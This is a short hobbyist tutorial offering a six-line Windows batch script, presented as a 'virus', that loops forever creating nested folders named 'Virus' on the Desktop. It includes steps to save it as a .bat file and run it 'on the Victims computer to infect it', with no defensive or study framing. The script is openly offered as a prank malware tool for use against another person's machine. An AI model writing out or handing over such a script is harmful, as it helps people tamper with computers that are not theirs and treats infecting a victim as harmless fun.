Folder Replicator Batch Programmme session I

Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code

cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

2. Save it as a batch file with the extension .bat.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.